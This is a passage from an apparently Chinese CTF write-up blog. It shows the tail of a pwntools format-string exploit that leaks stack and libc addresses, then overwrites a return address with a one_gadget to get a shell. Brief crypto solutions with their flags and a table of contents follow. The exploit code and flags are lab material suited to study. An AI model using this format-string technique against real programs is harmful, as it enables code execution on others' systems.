r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

sl(b"aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p")

ru(b"aaaa")
leek_addr = int(r(14),16)
ret_addr = leek_addr + 0x68
success(f"ret_addr -> {hex(ret_addr)}")

ru(b"0x50-")
read_addr = int(r(14),16)
read_addr -= 0x12
libc_base = read_addr - libc.sym['read']
success(f"libc_base -> {hex(libc_base)}")

one=0xe3b01

# g(p)
payload=fmtstr_payload(6,{ret_addr:libc_base+one},write_size='short')
sl(payload)


p.interactive()

fmt3.0[补]

ez_fullprotection[补]

mips[补]

why_not_puts[补]

eva[补]

Cypto

easy_classic

有些绕

凯撒->栅栏->base64->熊曰->key base100 emjoy->playfair

1
SYC{classical_1s_fun}

SignIn

十六进制转字符串

1
SYC{Hello_World_Crypto_bibobibo}
CATALOG
  1. 1. re
    1. 1.1. 点击就送的逆向题
    2. 1.2. shiftjmp
    3. 1.3. 幸运数字
    4. 1.4. 砍树
    5. 1.5. 听说cpp很难?
  2. 2. pwn
    1. 2.1. nc_pwntools
    2. 2.2. ret2text
    3. 2.3. password
    4. 2.4. ret2libc
    5. 2.5. write1
    6. 2.6. ezpwn
    7. 2.7. write2
    8. 2.8. white_canary
    9. 2.9. fmt1.0[补]
    10. 2.10. fmt2.0[补]
    11. 2.11. fmt3.0[补]
    12. 2.12. ez_fullprotection[补]
    13. 2.13. mips[补]
    14. 2.14. why_not_puts[补]
    15. 2.15. eva[补]
  3. 3. Cypto
    1. 3.1. easy_classic
    2. 3.2. SignIn